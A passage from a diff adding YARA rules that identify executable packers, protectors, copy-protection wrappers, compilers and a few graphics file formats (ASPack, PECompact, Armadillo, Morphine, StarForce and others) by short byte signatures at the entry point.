+		$1 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+		$2 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RIX_graphics_file_
+{
+	meta:
+		description = "RIX graphics file"
+	strings:
+		$0 = {52 49 58 33}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v310_
+{
+	meta:
+		description = "PEBundle v3.10"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Trap_120_EXE_
+{
+	meta:
+		description = "Trap 1.20 [EXE]"
+	strings:
+		$0 = {E8 00 00 5B 83 C3 28 90 8B D3 E8 01 00 01 5B 2E 80 3F 00 74 16 90 90 8B DA B9 A2 03 2E C0 07 39 2E 80 37 00 2E 80 2F 00 43 E2 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASProtect_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASProtect"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+		$1 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEtite_v13__Ian_Luck_
+{
+	meta:
+		description = "PEtite v1.3 -> Ian Luck"
+	strings:
+		$0 = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108_
+{
+	meta:
+		description = "ASPack v1.08"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+		$1 = {90 90 90 75 01 FF E9}
+		$2 = {90 90 75 01 FF E9}
+		$3 = {90 75 01 FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Cryptic_20__Tughack_
+{
+	meta:
+		description = "Cryptic 2.0 -> Tughack"
+	strings:
+		$0 = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+		$1 = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_140b2__140b4_
+{
+	meta:
+		description = "PECompact 1.40b2 - 1.40b4"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 00 87 DD 8B 85 A6 A0 40 00 01 85 03 A0 40 00 66 C7 85 00 A0 40 00 90 90 01 85 9E A0 40 00 BB 86 11 00 00 03 9D AA A0 40 00 03 9D A6 A0 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Matrix_Dongle__TDi_GmbH_
+{
+	meta:
+		description = "Matrix Dongle -> TDi GmbH"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+		$1 = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+		$2 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+		$3 = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 or $3 at entrypoint
+}
+rule _SuckStop_111_
+{
+	meta:
+		description = "SuckStop 1.11"
+	strings:
+		$0 = {4B 41 4F 54 58 EB 02 8E 7C BE 10 00 B4 30 CD 21 EB 0A 9B 00 00 00 00 00 BF 00 00 B9 3C 03 77 02 CD 20 4E 75 E7 6A 00 0E 6A 69 FE C3 CF AC 66 64 33 06 0C 00 66 65 2B 06 90 06 8C EA 03 C2 CF 32 C7 AA CF 47 72 65 65 74 7A 20 74 6F 20 61 6C 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_ExeSmasher_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ExeSmasher"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+		$1 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nPack_v113002006_Beta_
+{
+	meta:
+		description = "nPack v1.1.300.2006 Beta"
+	strings:
+		$0 = {83 3D 4C ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_165_EXE_
+{
+	meta:
+		description = "XPack 1.65? [EXE]"
+	strings:
+		$0 = {8B EC EB 01 E8 B8 82 03 FF E0 FA 33 C0 8E D0 BC 10 00 2E 8F 06 C1 03 2E 8F 06 C6 03 EB 01 9A 0E BB B6 03 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00 00 C7 47 12 00 00}
+		$1 = {B8 8C D3 15 33 75 8B EC EB 01 E8 B8 88 03 FF E0 FA BC 10 00 33 C0 8E D0 2E 8F 06 C7 03 2E 8F 06 CC 03 EB 01 9A 0E BB BC 03 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Morphine_v12_
+{
+	meta:
+		description = "Morphine v1.2"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 66 ?? ?? ?? 59}
+		$1 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 66 ?? ?? ?? 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E2 ?? ?? ?? ?? ?? 82 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Protect_v09_
+{
+	meta:
+		description = "PE Protect v0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+		$1 = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+		$2 = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Upack_V028V0399__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.28-V0.399 -> Dwing * 20080321"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? ?? E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 1C F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C 5B 91 FF 66 30 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 3C FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F 33 DB D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 33 C0 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10 E2 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v099_
+{
+	meta:
+		description = "PE Pack v0.99"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyMinder__MicrocosmLtd_
+{
+	meta:
+		description = "CopyMinder -> Microcosm.Ltd"
+	strings:
+		$0 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+		$1 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+		$2 = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PE_Packer__Vecna_
+{
+	meta:
+		description = "PE Packer -> Vecna"
+	strings:
+		$0 = {FC 8B 35 70 01 40 00 83 EE 40 6A 40 68 00 30 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V540__Silicon_Realms_Toolworks___20080214_
+{
+	meta:
+		description = "Armadillo V5.40 -> Silicon Realms Toolworks  * 20080214"
+	strings:
+		$0 = {E8 93 3E 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 B4 1F 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 AF 1D 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 40 1D 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V500__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo V5.00 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy__Ryd_
+{
+	meta:
+		description = "kkrunchy -> Ryd"
+	strings:
+		$0 = {BC ?? ?? E8 ?? ?? 2E 8E ?? ?? ?? E8 ?? ?? 2E 80 ?? ?? ?? ?? 75 ?? E8 ?? ?? 8B C3 2E F7 ?? ?? ?? E8}
+		$1 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+		$2 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FreeBASIC_v011_
+{
+	meta:
+		description = "FreeBASIC v0.11"
+	strings:
+		$0 = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _LCCWin32_DLL_
+{
+	meta:
+		description = "LCC-Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 00 00 00 FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Shegerd_Dongle_V478__MSCo_
+{
+	meta:
+		description = "Shegerd Dongle V4.78 -> MS.Co."
+	strings:
+		$0 = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+		$1 = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinZip_32bit_SFX_v6x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v6.x module"
+	strings:
+		$0 = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ DLL"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+		$1 = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+		$2 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+		$3 = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+		$4 = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _FreeJoiner_Small_build_014015__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 014/015) -> GlOFF"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+		$1 = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _StarForce_V3X_DLL__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X DLL -> StarForce Copy Protection System"
+	strings:
+		$0 = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+		$1 = {E8 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JDPack_
+{
+	meta:
+		description = "JDPack"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PCPaintPictor_graphics_file_format_
+{
+	meta:
+		description = "PCPaint/Pictor graphics file format"
+	strings:
+		$0 = {34 12 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1341__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.4.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+		$1 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33}
